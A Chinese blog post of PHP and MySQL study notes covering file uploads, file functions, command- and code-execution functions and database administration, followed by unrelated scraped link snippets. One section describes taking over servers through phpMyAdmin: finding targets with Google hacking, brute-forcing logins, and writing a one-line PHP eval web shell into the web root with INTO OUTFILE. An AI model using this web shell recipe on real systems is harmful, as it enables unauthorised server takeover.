2019.10.9php进阶
<?php
header("Content-type:text/html;charset:utf-8");
if ($_FILES["file"]["error"]>0) {
echo $_FILES["file"]["error"]."<br>";
} else {
echo "文件名:".$_FILES["file"]["name"]."<br>";
echo "类型:".$_FILES["file"]["type"]."<br>";
echo "大小:".$_FILES["file"]["size"]."<br>";
echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";}
echo "文件后缀名:".@end(explode(".",$_FILES["file"]["name"]));
?>
explode(标识,字符串),按照标识将字符串分割为数组
explode(".","test.te.png") == array("test","te","png");
end(数组)取出数组中最后一个值.
上传文件完整代码
html:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
</head>
<body>
<form action="ups.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file">
<input type="submit" value="提交">
</form>
</body>
</html>
php:
<?php
header("Content-type:text/html;charset:utf-8");
if ($_FILES["file"]["error"]>0) {
echo $_FILES["file"]["error"]."<br>";
} else {
//白名单:只允许上传图片
$array=array("png","gif","jpeg","jpg","bmp");
/* echo "文件名:".$_FILES["file"]["name"]."<br>";
echo "类型:".$_FILES["file"]["type"]."<br>";
echo "大小:".$_FILES["file"]["size"]."<br>";
echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";*/
$fileEndName=@end(explode(".",$_FILES["file"]["name"]));
if (in_array($fileEndName, $array)) {
if (!file_exists("uploads/".$_FILES["file"]["name"])) {
move_uploaded_file($_FILES["file"]["tmp_name"],"uploads/".$_FILES["file"]["name"]);
echo "文件上传成功,位置为:"."uploads/".$_FILES["file"]["name"];
}else{
echo "有同名文件!!无法提交!!!";
}
} else {
echo "文件格式不支持!!";
}
}
?>
文件管理:文件的打开,关闭,读取,写入.
文件的打开:fopen(打开文件的位置包含路径和文件名,打开文件的方式);
r 以只读的方式打开
r+ 读和写
w 只写,如果文件不存在则创建
w+ 读和写,如果文件不存在则创建
a 文件末尾追加,如果不存在则创建
a+ 读和追加,如果不存在则创建
fclose(句柄~打开的文件对应的句柄)关闭
feof()检测是否达到了文件的末尾,如果没有达到文件的末尾,则返回值是false
fread(打开的文件,读取大小)
fgets()读取单行数据内容:while (!feof($file)){echo fgets($file);}
fgetc()读取单个字符数据内容:while (!feof($file)){echo fgetc($file);}
file()将整个文档中数据读取到数组中:print_r(file("123.php"));
file_get_contents()将整个文档中数据读取到字符串中echo file_get_contents("123.php");
file_put_contents(文件名,写内容)将内容写到文件中:file_put_contents("123.php","123");如果文件名不存在则创建该文件,*是覆盖写,原内容会消失!!!
basename()获取文件名 //我都知道文件名了还取个屁??
dirname() 获取文件路径名
copy(源文件,目标文件)
unlink() unset() 删除文件
命令执行函数,通过php中某些函数去执行系统命令,和系统去交互
常用的命令执行函数:
system();
exec();
shell_exec();
echo 'whoami';
passthru()
等等
代码执行函数,使用php的某些函数去执行字符串类型的php代码,注意:php代码要求按照标准格式写的,常用的函数有:
eval();
assert();
preg_replace(正则表达式,替换掉字符,被替换的字符);注意:如果执行代码功能,需要使用使用/e模式,替换的字符中的代码就会被执行
等等
数据库管理
MYSQL 开源,轻量级数据库,适用于中小型企业,性能好
MSSQL 微软,需要安装在nt系统,不支持跨平台,适用于中大型企业
ACCESS 小巧方便 小型企业 小型项目
ORACLE 甲骨文,收费,适用于大型企业,跨平台,需要良好的底层硬件支持
常用框架组合
mysql+php
mssql+asp,aspx
oracle+java
access+asp
jsp+oracle
数据库模型
关系型数据库(结构化数据库) mysql mssql oracle db2等
非关系型数据库(非结构数据库)redis mongodb nosql postgresq Hbase等等
管理mysql数据库的方式:
DOS-mysql:需要配置mysql的环境变量 mysql -u root -p root
phpmyadmin 基于网页的数据库管理平台
mysql-front 开源的 C/S模式的数据库管理平台
Navicat 收费的,功能强大的数据库管理平台
mysql数据库结构:数据库名->数据库表->表头(字段名)->数据内容
表中有几个字段就会有几行数据
一行数据叫记录
管理mysql数据库的常用命令:
mysql -u root -p
show databases;
information_schema 他是5.0以后的mysql数据库自带的,汇总数据信息
mysql 存放当前数据库信息,如登录账户信息
use mysql; 使用mysql,进入选中的数据库
show tables; 查看当前数据库中所有的表
select * from user ;查看user 表下所有的数据内容
select version(); 查看当前运行的数据库版本
修改密码
知道原密码去修改:
step 1:需要进入到数据库中, mysql -uroot -p
step 2: 低版本(5.0)以下
update mysql.user set password = password("新密码") where user = 'root'(更 改root账户的密码)
高版本(5.1)以上
update mysql.user set authentication_string = password("新密码") where user = 'root'
或
alter user "root"@"localhost" identified by "新密码";
step 3:flush privileges; 刷新数据库
在mysql系统之外修改密码
mysqladmin -u root -p password "新密码";
忘记原密码去修改(linux中):
step1:关闭mysql服务,修改配置文件my.ini/my.cnf
step2:打开mysql配置文件,找到[mysqld] 加上:skip-grant-tables(跳过密码验证)
step3:重启mysql服务,此时登录无需密码,再用上面方法改密码
在mysql 数据库中添加账户并授权
添加账户
create user "用户名"@"主机IP" identified by "密码";
主机IP:允许那个主机用户可以登录,(localhost 本机可登录 %任意用户可登录
192.168.1.1 该IP上用户可登录)
添加权限
grant 权限 on 库名.表名 to "用户名"@"主机IP"
权限:insert drop update select all
库名.表名:表示能够操作的数据和表 *.*表示所有数据库以及所有的表
grant all on *.* to "123"@"192.168.1.1."
注意:配置中bind 127.0.0.1 需要注释掉或者根据需求进行更改
数据库外连:(允许远程连接)
update user set host ="%" where user ="host" and host= "localhost";
flush privileges;
注意:配置中bind 127.0.0.1 需要注释掉
MYSQL 常用的函数
version();
user();
select @@version;
select @@hostname;
select @@tmpdir;临时目录
select @@basedir;数据库服务所在的位置
select @@datadir;数据存放的位置;
数据文件格式:opt:编码;MYD存储数据;frm:存储表结构;MYI存储当前数据库的配置 信息和索引信息;
mid(被截取的字符串,开始索引,截取的长度);截取字符串
ord();显示字符的ascii,首字母的
concat();拼接字符串 concat("1","2","3");=>"123";
concat_ws(分隔符,多个参数);以分隔符分割拼接
group_concat();分组并拼接
sleep(1);让数据库等待1秒钟
sql语法:
创建数据库:
create database te;
mysqladmin -uroot -proot create pentest 在DOS命令中,需要使用mysqladmin.exe
删除数据库:
drop database te;
mysqladmin -uroot -proot drop pentest
数据库中的数据类型:
int:整型
bigint:大整型
float:浮点型
date:日期
time:时间
char:单个字符
varchar:变长字符,自设上限长度
text:文本
timestamp:时间戳
double:双精度浮点型
bit:比特
tinyint:0/1 bool型
创建表:use 数据库;
create table 表明(字段名1 数据类型 primary key auto_increment,字段2 数据类型,字段3 数据类型)default charset=utf8;
auto_increment :自增,看情况使用
primary key: 表中需要一个主键(唯一,非空) ,通过该主键确定唯一的一条记录
not null :不为空
default charset=utf8:设置编码方式
删除表:drop table 表名;
查看表中字段:show create table 表名;desc 表名
后续添加主键:alter table 表名 add primary key(字段名);
插入数据:insert into 表名(字段名1,字段名2,字段名3) value(值1,值2,值3);
查询数据:select 字段 from 表名;
select 字段 from 表名 where 字段名=值;
select 字段 from 表名 where 字段1=值1 and/or 字段2 =值2;
限制查询:limit a,b ;(a b均为数字,a表示记录的索引,b表示记录的长度)
limit a ;(从0开始选择a个记录)
更新数据:update 表名 set 字段1=值1,字段2=值2 where 字段3=值3;
删除表中数据:delete from 表名;
like 子句:通配符:%任意字符 _单个字符
select * from stu where name like "%t%"
union 联合查询 语法:查询语句1 union 查询语句2 将他们查询出来的结果放在一张表中显示 他们查询出来的字段个数必须一致 可以根据语句2的字段数量判断查询语句1的字段数量 |
order by 的使用 order by 条件: 根据给定的条件排序,默认条件下是升序 select * from 表 order by 字段名 [asc/desc] 根据制定的字段名去排序,asc升序,desc降序 select * from 表 order by 数字 表示对第n列数据进行排序,如果数字超过表格列数,则报错 |
删除字段:alter table 表名 drop 字段名;
添加字段:alter table 表名 add 字段名 字段类型;
去重查询:select distinct name from te;
数据的导入导出:
导入数据
方法1:mysql -uroot -proot <需要导入的数据库文件(data.sql)注意:data.sql需要自动创建数据库,并且需 要选择该数据库,如果data.sql不会创建数据库,手动创建数据库
手动导入mysql -uroot -proot
create database 数据库
use 数据库
source 数据库文件
方法2:使用phpmyadmin等平台导入数据,如果导入的文件还是不能自己创建数据库,则需要手动创建
方法3:mysqlimport -uroot -proot --local 数据库名 数据库文件;首先创建数据库,创建表teacher,该表的 字段名要和导入的数据的字段保持一致 --local表示本地任意位置均可导入数据
导出数据
方法1:借助平台;
方法2:mysqldump -uroot -proot 数据库名 > 导出文件名
mysqldump -uroot -proot 数据库名 表名 > ./table.sql
方法3:select 字段 from 表名 into outfile "文件";将数据库中的字段内容导入到文件中
首次从数据库中导出文件,数据库会运行--secure-file-priv 安全机制,会限制导出文件
查看该安全项的值:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'
secure_file_priv 的value 为null时,限制导入导出
secure_file_priv 没有值 表示mysql不限制导入导出
secure_file_priv = /tmp 表示mysql只能在/tmp目录下执行导入导出,其他目录是不允许的
修改该安全机制:
临时方法:set global secure_file_priv=' ';
注意:Variable 'secure_file_priv' is a read only variable 表示不能通过sql语句修改
长久方法:修改配置文件 在配置文件my.ini中找到[mysqld]后面添加secure_file_priv=' ';
通过phpmyadmin 获取服务器权限(getshell)
step1:通过google hacking 找phpmyadmin网站
step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'
step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马
select "<?php @eval($_POST[_]);?>" into outfile "D:\\phpstudy_pro\\www\\evil.php";
select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法
step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,将_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;
step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器
PHP+MYSQL
PHP 操作mysql 数据库
(1) 使用mysqli扩展(推荐),只针对mysql数据库
面向对象的方式
直接方法(面向过程);
(2)使用mysql扩展(php<=5.5)
(3)使用pdo ,支持12种数据库
三种数据库的连接释放.php(分别取消注释使用)
<?php header("Content-type:text/html;charset:utf-8"); $ser="127.0.0.1"; $name="root"; $pwd="roo"; /*m面向对象*/ /* $conn=new mysqli($ser,$name,$pwd); if($conn->connect_error){ die("连接失败:".$conn->connect_error); } echo "数据库连接成功!"; $conn->close(); */ /*面向过程*/ /* $conn=mysqli_connect($ser,$name,$pwd); if($conn){ //mysqli连接成功返回true,没有连接成功返回false; echo mysqli_connect_error(); } echo "连接成功"; var_dump($conn); mysqli_close($conn); */ /*pdo*/ /* try{ $conn=new pdo("mysql:host=$ser;",$name,$pwd); echo "成功!"; } catch(PDOException $ee){ echo $ee-> getMessage(); } $conn=null; */ |
mysql.conf
<?php $ip="127.0.0.1"; $name="root"; $pwd="root"; $db="teachers"; |
2.php
<?php include 'mysql.conf'; $conn=mysqli_connect($ip,$name,$pwd,$db); //$conn=mysqli_connect($ip,$name,$pwd);//创建数据库前用这个 $sql1="create database teachers";//创建数据库 $sql2="create table info ( id int(10) unsigned auto_increment PRIMARY KEY, name varchar(20) not null, address varchar(100) not null, date timestamp )";//创建表info $sql3="insert into info(id,name,address) values (1,'icq','beijing')";//插入数据 $sql4="insert into info(name,address) values ('iii','shanghai')";//插入数据 $sql5="select * from info"; //var_dump(mysqli_query($conn,$sql5));//查看这个的类型 $result=mysqli_query($conn,$sql5); if($result){ echo "成功!"; $numbers=mysqli_num_rows($result);//查询的记录数 //$rows=mysqli_fetch_assoc($result); //将执行的结果转换成数组 while($rows=mysqli_fetch_assoc($result)){ print_r($rows); }//循环打印查询记录 } else{ echo mysqli_error($conn);//打印错误信息 } mysqli_close($conn); |
2019.10.9php进阶的更多相关文章
- 万门大学Python零基础10天进阶班视频教程
点击了解更多Python课程>>> 万门大学Python零基础10天进阶班视频教程 课程简介: 旨在通过两周的学习,让学生不仅能掌握python编程基础从而进行计算机程序的开发, 还 ...
- 2019.10 搜索引擎最新排名,Elasticsearch遥遥领先
大数据的搜索平台已经成为了众多企业的标配,Elasticsearch.Splunk(商业上市公司).Solr(Apache开源项目)是其中最为优秀和流行的选择.在2019.10 最新搜索引擎排名中,E ...
- 【2019.10.17】十天Web前端程序员体验(软件工程实践第五次作业)
结对信息.具体分工 Github地址:https://github.com/MokouTyan/131700101-031702425 学号 昵称 主要负责内容 博客地址 131700101 莫多 代 ...
- TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器
TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器 任务清单 给自己取一个酷酷的id,并选择1-2个喜欢的方向.(只是初步选择,后期可更改) 改下群名片.例如yo ...
- jQuery进阶第四天(2019 10.13)
1 初识面向对象(面向对象是一种思维方式) 以前写的代码 var name = '莉莉'; var sex = '女'; var age = 18; var name1 = '小明'; var sex ...
- jQuery进阶第三天(2019 10.12)
一.原生JS快捷的尺寸(属性)(注意这些属性的结果 不带PX单位) clientWidth/clientHeight =====> 获得元素content+padding的宽/高: offse ...
- jQuery进阶第二天(2019 10.10)
一.事件流程 1.事件的三要素: 事件源:发生事件的对象 事件类型:类型比如单击.双击.鼠标的移入.移除 事件处理程序: 触发事件之后做些什么,事件处理的函数 <body> <but ...
- Pycharm 激活码(转) 有效期到2019/10月
Pycharm 激活码(转) 有效期到2019/10月 2018年11月13日 17:15:32 may_ths 阅读数:64 [激活码激活] 修改hosts文件 添加下面一行到hosts文件,目 ...
- 2019.10.15 CSP初赛知识点整理
初赛需要的知识点整理如下: (1)计算机的硬件组成与基本常识 (2)单位/进制的转换 (3)进制/逻辑运算相关 (4)概率与期望 (5)排序的各种性质 (6)简单数据结构的使用(栈.队列.链表等) ( ...
随机推荐
- 搭建与破解wiki (confluence)
搭建环境: 操作系统:contos7 数据库:5.5.60-MariaDB java版本: jdk-11.0.2 confluence版本:confluence6.7.1 一. 准备工作 下载conf ...
- Redis 持久化配置(兼论瞎翻译的问题)
redis.conf 文件中配置 save 默认配置项: save save save 查了好几个地方都是这么说的: 第一句的意思:15分钟内修改了一个键就保存??? 往 Redis 里加了一个值,重 ...
- Jmeter接口测试图文示例
Jmeter接口测试图文示例 以getObjectByCode接口为例,用jmeter2.13来进行接口测试. 测试前准备: 测试工具及版本:jmeter 2.13 r1665067(须包含__MD5 ...
- linux常用、常见错误
1.md5加密使用 oppnssl md5 加密字符串的方法 [root@lab3 ~]# openssl //在终端中输入openssl后回车. OpenSSL> md5 //输入md5后回车 ...
- document.documentElement 和 document.body
MDN : The Document.documentElement read-only property returns the Element that is the root element o ...
- Git-T
或在命令行上创建一个新的存储库echo“#gittest”>> README.md git init git add README.md git commit -m“first commi ...
- 【AMAD】Stream-Framework -- 让你可以使用Cassandra和Redis构建新闻feed,活动流(activity stream)以及通知系统。
动机 简介 个人评分 动机 你曾经是否想为你自己的网站构建Facebook,Github那种feed流. 简介 通过Stream-Framework1你可以做到: Github那种活动流 Twitte ...
- 应用安全 - 工具|平台 - Elasticsearch- 漏洞 - 汇总
未授权访问 (1)/_cat/indices #Index个数查询 (2)/_mapping?pretty=true #type个数查询 (3)根据Index和type查询表数据 (4)/_river ...
- 【DSP开发】【Linux开发】Linux下PCI设备驱动程序开发
PCI是一种广泛采用的总线标准,它提供了许多优于其它总线标准(如EISA)的新特性,目前已经成为计算机系统中应用最为广泛,并且最为通用的总线标准.Linux的内核能较好地支持PCI总线,本文以Inte ...
- java.sql.SQLException: Access denied for user 'root'@'10.10.7.180' (using password: YES)
1.刚开始连接数据库提示是: java.sql.SQLException: Access denied for user 'root'@'10.10.7.180' (using password: N ...